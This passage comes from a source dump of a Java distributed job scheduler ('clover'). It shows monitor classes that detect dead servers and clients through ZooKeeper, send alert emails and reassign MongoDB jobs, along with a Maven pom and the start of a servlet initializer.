    "content": "package com.gome.clover.monitor;\r\n\r\nimport com.gome.clover.common.hash.HashTimes;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.SendMailUtil;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.gome.clover.common.zeromq.AsyncSendMsg;\r\nimport com.gome.clover.common.zeromq.ZeroMQEntity;\r\nimport com.gome.clover.common.zk.CommonNodes;\r\nimport com.gome.clover.common.zk.ZKUtil;\r\nimport com.mongodb.*;\r\nimport com.mongodb.util.JSON;\r\nimport org.apache.curator.framework.CuratorFramework;\r\n\r\nimport java.util.List;\r\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\r\nimport java.util.concurrent.TimeUnit;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Monitor Server Heart Beat\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\npublic enum MonitorHeartBeat {\r\n    INSTNACE, MonitorHeartBeat;\r\n    private BasicDBList recordDBList = new BasicDBList();\r\n    private BasicDBList serverNodeDBList;\r\n    private static   ScheduledThreadPoolExecutor scheduledThreadPoolExecutor;\r\n    private static boolean isStop = false;\r\n    private static int counter = 0;\r\n    private static  CuratorFramework curatorFramework = ZKUtil.create();\r\n    public void startup() {\r\n        if(null==scheduledThreadPoolExecutor){\r\n            scheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(1);\r\n        }\r\n        scheduledThreadPoolExecutor.scheduleAtFixedRate(new Runnable() {\r\n            @Override\r\n            public void run() {\r\n                if (!isStop) {\r\n                    if (!curatorFramework.isStarted()) curatorFramework.start();\r\n                    String serverPathStr = CommonConstants.ZK_ROOT_PATH + \"/\" + CommonConstants.MODULE_TYPE_SERVER;\r\n                    List serverNodeList = ZKUtil.getChilds(curatorFramework, serverPathStr);\r\n                    if (null != serverNodeList && serverNodeList.size() > 0) {\r\n                        addOrUpdateRecordList(curatorFramework, serverPathStr, serverNodeList);\r\n                        BasicDBList needRemoveNodeList = new BasicDBList();\r\n                        int index = 0;\r\n                        filterNeedRemoveNodeList(needRemoveNodeList, index);\r\n                        index = 0;\r\n                        transferServerData(needRemoveNodeList, index);\r\n                    } else {\r\n                        if(0==counter){\r\n                            int index = 0;\r\n                            while (index < recordDBList.size()) {\r\n                                BasicDBObject record = (BasicDBObject) recordDBList.get(index);\r\n                                String msg = \" Server of Ip:\" + record.get(\"ip\") + \" not alive,Please deal with as quickly as possible\";\r\n                                //报警通知相关人员\r\n                                SendMailUtil.sendDefaultMail(msg, msg);\r\n                                index++;\r\n                            }\r\n                            counter = 1;\r\n                        }\r\n                    }\r\n                }\r\n\r\n            }\r\n        }, CommonConstants.MONITOR_DIFFER_MILLI_SECONDS, CommonConstants.MONITOR_DIFFER_MILLI_SECONDS, TimeUnit.MILLISECONDS);\r\n    }\r\n\r\n    private void transferServerData(BasicDBList needRemoveNodeList, int index) {\r\n        while (index < needRemoveNodeList.size()) {\r\n            BasicDBObject needRemoveNode = (BasicDBObject) needRemoveNodeList.get(index);\r\n            String removeNodeIp = (String) needRemoveNode.get(\"ip\");\r\n            if (!StringUtil.isEmpty(removeNodeIp)) {\r\n                DBCollection dbCollection = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_JOB);\r\n                DBObject condition = new BasicDBObject();\r\n                condition.put(DBTableInfo.COL_CLIENT_IP, removeNodeIp);\r\n                condition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_REMOTE);\r\n                DBCursor cursorDocMap = dbCollection.find(condition);\r\n                while (cursorDocMap.hasNext()) {\r\n                    DBObject tempDBObject = cursorDocMap.next();\r\n                    String hashKey = CommonNodes.allocateNo();\r\n                    int tempIndex = HashTimes.use33(hashKey) % recordDBList.size();\r\n                    BasicDBObject tempRecord = (BasicDBObject) recordDBList.get(tempIndex);\r\n                    String newNodeIp = (String) tempRecord.get(\"ip\");\r\n                    if (MongoDBUtil.INSTANCE.update(new BasicDBObject(DBTableInfo.COL_ID, tempDBObject.get(DBTableInfo.COL_ID)),\r\n                            new BasicDBObject(DBTableInfo.COL_CLIENT_IP, newNodeIp), DBTableInfo.TBL_CLOVER_JOB)) { //发消息到SERVER\r\n                        String newNodePort = (String) tempRecord.get(\"port\");\r\n                        BasicDBObject basicDBObject = new BasicDBObject();\r\n                        basicDBObject.put(\"action\", \"reloadDB\");\r\n                        basicDBObject.put(\"ip\", newNodeIp);\r\n                        String msg = JSON.serialize(basicDBObject);\r\n                        ZeroMQEntity zeroMQEntity = new ZeroMQEntity(CommonConstants.MODULE_TYPE_SERVER_WITH_MONITOR, newNodeIp, null, msg);\r\n                       // AsyncSendMsg.send(newNodeIp, newNodePort, com.alibaba.fastjson.JSON.toJSONString(zeroMQEntity));\r\n                    }\r\n                }\r\n            }\r\n            index++;\r\n        }\r\n    }\r\n\r\n    private void filterNeedRemoveNodeList(BasicDBList needRemoveNodeList, int index) {\r\n        while (index < this.recordDBList.size()) {\r\n            BasicDBObject tempRecord = (BasicDBObject) this.recordDBList.get(index);\r\n            if (!serverNodeDBList.contains(tempRecord)) {\r\n                needRemoveNodeList.add(tempRecord);\r\n                remove((String) tempRecord.get(\"id\"), this.recordDBList);\r\n            }\r\n            index++;\r\n        }\r\n        serverNodeDBList.clear();\r\n    }\r\n\r\n    private void addOrUpdateRecordList(CuratorFramework curatorFramework, String serverPathStr, List serverNodeList) {\r\n        for (int i = 0; (serverNodeList != null) && (i < serverNodeList.size()); i++) {\r\n            String id = (String) serverNodeList.get(i);\r\n            String c = ZKUtil.getData(curatorFramework, serverPathStr + \"/\" + id);\r\n            if (c == null) {\r\n                continue;\r\n            }\r\n            //c 是否在recordList中存在，如果不存在，那就认为c节点信息已不存了，此刻要将c节点中所有job同步到另一台机器中\r\n            BasicDBObject record = (BasicDBObject) JSON.parse(c);\r\n            add(record, recordDBList); //add or update\r\n            serverNodeDBList = new BasicDBList();\r\n            add(record, serverNodeDBList); //add or update\r\n        }\r\n    }\r\n\r\n    public synchronized void add(BasicDBObject record, BasicDBList dBList) {\r\n        String id = record.getString(\"id\");\r\n        int index = CommonNodes.findIndexById(id, dBList);\r\n        if (index == -1)\r\n            dBList.add(record);\r\n        else {\r\n            dBList.set(index, record);\r\n        }\r\n    }\r\n\r\n    public synchronized boolean remove(String id, BasicDBList dBList) {\r\n        int index = CommonNodes.findIndexById(id, dBList);\r\n        return null != dBList.remove(index);\r\n    }\r\n\r\n    public void stop() {\r\n        counter = 0;\r\n        isStop = true;\r\n        curatorFramework.close();\r\n        scheduledThreadPoolExecutor.shutdown();\r\n    }\r\n\r\n    public static void main(String args[]) {\r\n        MonitorHeartBeat.INSTNACE.startup();\r\n        try {\r\n            TimeUnit.MINUTES.sleep(4L);\r\n        } catch (InterruptedException e) {\r\n            e.printStackTrace();\r\n        }\r\n        MonitorHeartBeat.INSTNACE.stop();\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-monitor/src/main/java/com/gome/clover/monitor/MonitorTimerTask.java",
    "content": "package com.gome.clover.monitor;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.*;\r\nimport com.gome.clover.common.zk.ZKManager;\r\nimport com.mongodb.BasicDBObject;\r\nimport com.mongodb.DBCollection;\r\nimport com.mongodb.DBCursor;\r\nimport com.mongodb.DBObject;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.Map;\r\nimport java.util.TimerTask;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Monitor Server Timer Task\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\npublic class MonitorTimerTask extends TimerTask {\r\n    private static final Logger logger = LoggerFactory.getLogger(MonitorTimerTask.class);\r\n\r\n    @Override\r\n    public void run() {\r\n        ZKManager zkManager = null;\r\n        try {\r\n            zkManager = new ZKManager(PropertiesUtil.loadProperties());\r\n            processServerMonitor(zkManager);\r\n            processClientMonitor(zkManager);\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            System.err.println(\"MonitorServerTask-->>run() error\" + e.getMessage());\r\n            logger.error(\"MonitorServerTask-->>run() error\", e);\r\n        } finally {\r\n            assert null != zkManager;\r\n            try {\r\n                zkManager.close();\r\n            } catch (InterruptedException e) {\r\n                if (logger.isDebugEnabled()) e.printStackTrace();\r\n                System.err.println(\"MonitorServerTask-->>run()  zkManager.close() error\" + e.getMessage());\r\n                logger.error(\"MonitorServerTask-->>run()  zkManager.close() error\", e);\r\n            }\r\n        }\r\n    }\r\n\r\n    private void processServerMonitor(ZKManager zkManager) {\r\n        String serverPathStr = zkManager.getRootPath() + \"/\" + CommonConstants.MODULE_TYPE_SERVER + \"/ip\";\r\n        String serverDataJsonStr;\r\n        try {\r\n            serverDataJsonStr = zkManager.getData(serverPathStr);\r\n            if (StringUtil.isEmpty(serverDataJsonStr)) return;\r\n            List<String> serverDataList = List2StringUtil.json2List(serverDataJsonStr);\r\n            String remoteServerDataStr = null;\r\n            for (String tempServerDataStr : serverDataList) {\r\n                String[] tempSplitServerDatas = tempServerDataStr.split(CommonConstants.SPLIT_CHARACTER_FALG);\r\n                Long clientLastUpdateTimeMillis = Long.valueOf(tempSplitServerDatas[2]);\r\n                Long currentTimeMillis = System.currentTimeMillis(); //系统时间\r\n                if (currentTimeMillis - clientLastUpdateTimeMillis > CommonConstants.SERVER_DIFFER_MILLI_SECONDS\r\n                        || clientLastUpdateTimeMillis - currentTimeMillis > CommonConstants.SERVER_DIFFER_MILLI_SECONDS) {\r\n                    String msg = \" Server of Ip:\" + tempSplitServerDatas[0] + \" not alive,Please deal with as quickly as possible\";\r\n                    System.err.println(msg);\r\n                    logger.error(msg);\r\n                    //报警通知相关人员\r\n                    SendMailUtil.sendDefaultMail(msg, msg);\r\n                    remoteServerDataStr = tempServerDataStr+\":\";\r\n                }\r\n            }\r\n            if(!StringUtil.isEmpty(remoteServerDataStr)){\r\n                String removeServerDataStrs[] = remoteServerDataStr.split(\":\");\r\n                for(String tempRemoveServerData:removeServerDataStrs){\r\n                    if(!StringUtil.isEmpty(tempRemoveServerData)){\r\n                        serverDataList.remove(tempRemoveServerData);\r\n                    }\r\n\r\n                }\r\n            }\r\n            if (null != serverDataList && serverDataList.size() > 0) {\r\n                zkManager.setData(serverPathStr, JSON.toJSONString(serverDataList));// /clover/client/ip/127.0.0.1/{alive=1, ip=127.0.0.1}\r\n            } else {\r\n                zkManager.delete(serverPathStr);\r\n            }\r\n        } catch (Exception e) {\r\n            System.err.println(e.getMessage());\r\n        }\r\n    }\r\n\r\n    private void processClientMonitor(ZKManager zkManager) throws Exception {\r\n        String pathStr = zkManager.getRootPath() + \"/\" + CommonConstants.MODULE_TYPE_CLIENT + \"/ip\";\r\n        List<String> childrenIpStrList = zkManager.getZooKeeper().getChildren(pathStr, false);\r\n        Map<String, String> clientMap;\r\n        if (null != childrenIpStrList && childrenIpStrList.size() > 0) {\r\n            for (String childrenIpStr : childrenIpStrList) {\r\n                String dataJsonStr = zkManager.getData(pathStr + \"/\" + childrenIpStr);\r\n                if (!StringUtil.isEmpty(dataJsonStr)) {\r\n                    clientMap = JSON.parseObject(dataJsonStr, Map.class);\r\n                    Long clientLastUpdateTimeMillis = Long.valueOf(clientMap.get(DBTableInfo.COL_TS));\r\n                    Long currentTimeMillis = System.currentTimeMillis(); //系统时间\r\n                    if (currentTimeMillis - clientLastUpdateTimeMillis > CommonConstants.CLIENT_DIFFER_MILLI_SECONDS\r\n                            || clientLastUpdateTimeMillis - currentTimeMillis > CommonConstants.CLIENT_DIFFER_MILLI_SECONDS) {\r\n                        System.err.println(\"Client Job of Ip:\" + clientMap.get(DBTableInfo.COL_IP) + \" not alive,Please deal with as quickly as possible\");\r\n                        String msg = \"Client Job of Ip:\" + clientMap.get(DBTableInfo.COL_IP) + \" not alive,Please deal with as quickly as possible\";\r\n                        logger.error(msg);\r\n                        //报警通知相关人员\r\n                        alert(clientMap.get(DBTableInfo.COL_IP), msg);\r\n                        clientMap.put(CommonConstants.ALIVE, CommonConstants.ALIVE_STATUS_0);\r\n                        String clientPathStr = zkManager.getRootPath() + \"/\" + CommonConstants.MODULE_TYPE_CLIENT +\r\n                                \"/ip/\" + clientMap.get(DBTableInfo.COL_IP);\r\n                        zkManager.setData(clientPathStr, JSON.toJSONString(clientMap));// /clover/client/ip/127.0.0.1/{alive=1, ip=127.0.0.1}\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    private void alert(String ip, String msg) {\r\n        //发送邮件通知相关人员\r\n        List<String> toList = new ArrayList<String>();\r\n        DBCollection dbCollection = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_CONTACT);\r\n        DBObject condition = new BasicDBObject();\r\n        condition.put(DBTableInfo.COL_IP, ip);\r\n        DBCursor cursorDocMap = dbCollection.find(condition);\r\n        while (cursorDocMap.hasNext()) {\r\n            DBObject tempDBObject = cursorDocMap.next();\r\n            List2StringUtil.addUnDuplicateString2List((String) tempDBObject.get(DBTableInfo.COL_IP), toList);\r\n        }\r\n        List2StringUtil.addUnDuplicateString2List(CommonConstants.DEFAULT_COMPANY_EMAIL, toList);\r\n        List2StringUtil.addUnDuplicateString2List(CommonConstants.DEFAULT_PRIVATE_EMAIL, toList);\r\n        SendMailUtil.sendMails(List2StringUtil.listToArray(toList), msg, msg);\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-monitor/src/main/java/com/gome/clover/monitor/ServerHeartBeatBak.java",
    "content": "package com.gome.clover.monitor;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.mongodb.BasicDBList;\r\n\r\nimport java.util.Timer;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc: Server Heart Beat\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\npublic enum ServerHeartBeatBak {\r\n    INSTNACE, ServerHeartBeat;\r\n   public void startup(){\r\n       Timer timer = new Timer();\r\n       BasicDBList recordList = new BasicDBList();\r\n       timer.schedule(new ServerTimerTask(recordList),CommonConstants.SERVER_DIFFER_MILLI_SECONDS, CommonConstants.SERVER_DIFFER_MILLI_SECONDS);\r\n   }\r\n    public static void main(String args[]){\r\n        ServerHeartBeat.INSTNACE.startup();\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-monitor/src/main/java/com/gome/clover/monitor/ServerTimerTask.java",
    "content": "package com.gome.clover.monitor;\r\n\r\nimport com.gome.clover.common.hash.HashTimes;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.SendMailUtil;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.gome.clover.common.zeromq.AsyncSendMsg;\r\nimport com.gome.clover.common.zeromq.ZeroMQEntity;\r\nimport com.gome.clover.common.zk.CommonNodes;\r\nimport com.gome.clover.common.zk.ZKUtil;\r\nimport com.mongodb.*;\r\nimport com.mongodb.util.JSON;\r\nimport org.apache.curator.framework.CuratorFramework;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.List;\r\nimport java.util.TimerTask;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc: Server Timer Task(所有server不可用，报警；集群部署多台集群，某台不可用，将数据转移到另一台集群)\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\npublic class ServerTimerTask extends TimerTask {\r\n    private static final Logger logger = LoggerFactory.getLogger(ServerTimerTask.class);\r\n    private BasicDBList recordDBList;\r\n    private BasicDBList serverNodeDBList;\r\n\r\n    public ServerTimerTask(BasicDBList recordDBList) {\r\n        this.recordDBList = recordDBList;\r\n    }\r\n\r\n    @Override\r\n    public void run() {\r\n        CuratorFramework curatorFramework = ZKUtil.create();\r\n        if (!curatorFramework.isStarted()) curatorFramework.start();\r\n        String serverPathStr = CommonConstants.ZK_ROOT_PATH + \"/\" + CommonConstants.MODULE_TYPE_SERVER;\r\n        List serverNodeList = ZKUtil.getChilds(curatorFramework, serverPathStr);\r\n        if (null != serverNodeList && serverNodeList.size() > 0) {\r\n            addOrUpdateRecordList(curatorFramework, serverPathStr, serverNodeList);\r\n            BasicDBList needRemoveNodeList = new BasicDBList();\r\n            int index = 0;\r\n            filterNeedRemoveNodeList(needRemoveNodeList, index);\r\n            index = 0;\r\n            transferServerData(needRemoveNodeList, index);\r\n        } else {\r\n            int index = 0;\r\n            while (index < this.recordDBList.size()) {\r\n                BasicDBObject record = (BasicDBObject) this.recordDBList.get(index);\r\n                String msg = \" Server of Ip:\" + record.get(\"ip\") + \" not alive,Please deal with as quickly as possible\";\r\n                //报警通知相关人员\r\n                SendMailUtil.sendDefaultMail(msg, msg);\r\n                index++;\r\n            }\r\n        }\r\n    }\r\n\r\n    private void transferServerData(BasicDBList needRemoveNodeList, int index) {\r\n        while (index < needRemoveNodeList.size()) {\r\n            BasicDBObject needRemoveNode = (BasicDBObject) needRemoveNodeList.get(index);\r\n            String removeNodeIp = (String) needRemoveNode.get(\"ip\");\r\n            if (!StringUtil.isEmpty(removeNodeIp)) {\r\n                DBCollection dbCollection = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_JOB);\r\n                DBObject condition = new BasicDBObject();\r\n                condition.put(DBTableInfo.COL_CLIENT_IP, removeNodeIp);\r\n                condition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_REMOTE);\r\n                DBCursor cursorDocMap = dbCollection.find(condition);\r\n                while (cursorDocMap.hasNext()) {\r\n                    DBObject tempDBObject = cursorDocMap.next();\r\n                    String hashKey = CommonNodes.allocateNo();\r\n                    int tempIndex = HashTimes.use33(hashKey) % recordDBList.size();\r\n                    BasicDBObject tempRecord = (BasicDBObject) recordDBList.get(tempIndex);\r\n                    String newNodeIp = (String) tempRecord.get(\"ip\");\r\n                    if (MongoDBUtil.INSTANCE.update(new BasicDBObject(DBTableInfo.COL_ID, tempDBObject.get(DBTableInfo.COL_ID)),\r\n                            new BasicDBObject(DBTableInfo.COL_CLIENT_IP, newNodeIp), DBTableInfo.TBL_CLOVER_JOB)) { //发消息到SERVER\r\n                        String newNodePort = (String) tempRecord.get(\"port\");\r\n                        BasicDBObject basicDBObject = new BasicDBObject();\r\n                        basicDBObject.put(\"action\", \"reloadDB\");\r\n                        basicDBObject.put(\"ip\", newNodeIp);\r\n                        String msg = JSON.serialize(basicDBObject);\r\n                        ZeroMQEntity zeroMQEntity = new ZeroMQEntity(CommonConstants.MODULE_TYPE_SERVER_WITH_MONITOR, newNodeIp, null, msg);\r\n                        //AsyncSendMsg.send(newNodeIp, newNodePort, com.alibaba.fastjson.JSON.toJSONString(zeroMQEntity));\r\n                    }\r\n                }\r\n            }\r\n            index++;\r\n        }\r\n    }\r\n\r\n    private void filterNeedRemoveNodeList(BasicDBList needRemoveNodeList, int index) {\r\n        while (index < this.recordDBList.size()) {\r\n            BasicDBObject tempRecord = (BasicDBObject) this.recordDBList.get(index);\r\n            if (!serverNodeDBList.contains(tempRecord)) {\r\n                needRemoveNodeList.add(tempRecord);\r\n                remove((String) tempRecord.get(\"id\"), this.recordDBList);\r\n            }\r\n            index++;\r\n        }\r\n        serverNodeDBList.clear();\r\n    }\r\n\r\n    private void addOrUpdateRecordList(CuratorFramework curatorFramework, String serverPathStr, List serverNodeList) {\r\n        for (int i = 0; (serverNodeList != null) && (i < serverNodeList.size()); i++) {\r\n            String id = (String) serverNodeList.get(i);\r\n            String c = ZKUtil.getData(curatorFramework, serverPathStr + \"/\" + id);\r\n            if (c == null) {\r\n                continue;\r\n            }\r\n            //c 是否在recordList中存在，如果不存在，那就认为c节点信息已不存了，此刻要将c节点中所有job同步到另一台机器中\r\n            BasicDBObject record = (BasicDBObject) JSON.parse(c);\r\n            add(record, recordDBList); //add or update\r\n            serverNodeDBList = new BasicDBList();\r\n            add(record, serverNodeDBList); //add or update\r\n        }\r\n    }\r\n\r\n    public synchronized void add(BasicDBObject record, BasicDBList dBList) {\r\n        String id = record.getString(\"id\");\r\n        int index = CommonNodes.findIndexById(id, dBList);\r\n        if (index == -1)\r\n            dBList.add(record);\r\n        else {\r\n            dBList.set(index, record);\r\n        }\r\n    }\r\n\r\n    public synchronized boolean remove(String id, BasicDBList dBList) {\r\n        int index = CommonNodes.findIndexById(id, dBList);\r\n        return null != dBList.remove(index);\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-server/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\r\n    <modelVersion>4.0.0</modelVersion>\r\n    <parent>\r\n        <groupId>com.gome</groupId>\r\n        <artifactId>clover</artifactId>\r\n        <version>1.0</version>\r\n    </parent>\r\n\r\n    <groupId>com.gome</groupId>\r\n    <artifactId>clover-server</artifactId>\r\n    <version>${clover.version}</version>\r\n    <packaging>jar</packaging>\r\n\r\n    <build>\r\n        <finalName>clover-server-${clover.version}</finalName>\r\n        <resources>\r\n            <resource>\r\n                <directory>src/main/resources</directory>\r\n                <filtering>true</filtering>\r\n            </resource>\r\n        </resources>\r\n    </build>\r\n\r\n    <dependencies>\r\n        <dependency>\r\n            <groupId>com.gome</groupId>\r\n            <artifactId>clover-core</artifactId>\r\n            <version>${clover.version}</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>com.gome</groupId>\r\n            <artifactId>clover-monitor</artifactId>\r\n            <version>${clover.version}</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>com.gome</groupId>\r\n            <artifactId>clover-client</artifactId>\r\n            <version>${clover.version}</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>javax.servlet</groupId>\r\n            <artifactId>servlet-api</artifactId>\r\n            <version>2.4</version>\r\n            <scope>provided</scope>\r\n        </dependency>\r\n    </dependencies>\r\n\r\n</project>"
  },
  {
    "path": "clover/clover-server/src/main/java/com/gome/clover/server/module/SchedulerServerInitial.java",
    "content": "package com.gome.clover.server.module;\r\n\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.gome.clover.core.module.ModuleSchedulerServer;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport javax.servlet.ServletConfig;\r\nimport javax.servlet.ServletException;\r\nimport javax.servlet.http.HttpServlet;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc: Scheduler 服务端 初始化 Servlet\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class SchedulerServerInitial extends HttpServlet {\r\n    private static final long serialVersionUID = 1L;\r\n    private static final Logger logger = LoggerFactory.getLogger(SchedulerServerInitial.class);\r\n\r\n    @Override\r\n    public void init(ServletConfig config) throws ServletException {\r\n        //super.init(config);\r\n        String systemId =  config.getInitParameter(\"systemId\");\r\n        if(StringUtil.isEmpty(systemId))  systemId = CommonConstants.SYSTEM_ID_CLOVER;\r\n        boolean  isRegisterToZK = true; //默认是启动的\r\n        String isRegisterToZKStr =  config.getInitParameter(\"isRegisterToZK\");\r\n        if(!StringUtil.isEmpty(isRegisterToZKStr)){\r\n            isRegisterToZK = Boolean.valueOf(isRegisterToZKStr);\r\n        }\r\n        boolean  isStartupMQ = true; //默认是启动的\r\n        boolean  isStartupNetty = true; //默认是启动的\r\n        String isStartupMQStr =  config.getInitParameter(\"isStartupMQ\");\r\n        if(!StringUtil.isEmpty(isStartupMQStr)){\r\n            isStartupMQ = Boolean.valueOf(isStartupMQStr);\r\n        }\r\n        boolean  isReloadJobFromDB = true; //默认是启动的\r\n        String isReloadJobFromDBStr =  config.getInitParameter(\"isReloadJobFromDB\");\r\n        if(!StringUtil.isEmpty(isReloadJobFromDBStr)){\r\n            isReloadJobFromDB = Boolean.valueOf(isReloadJobFromDBStr);\r\n        }\r\n        try {\r\n            ModuleSchedulerServer server =  ModuleSchedulerServer.getInstance();\r\n            server.startup(isRegisterToZK,isStartupMQ,isStartupNetty,isReloadJobFromDB,systemId);\r\n        } catch (Exception e) {\r\n            String execMethod = \"ModuleSchedulerServer-->>init(config)\";\r\n            String execResult = \"ModuleSchedulerServer-->>init(config) error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), 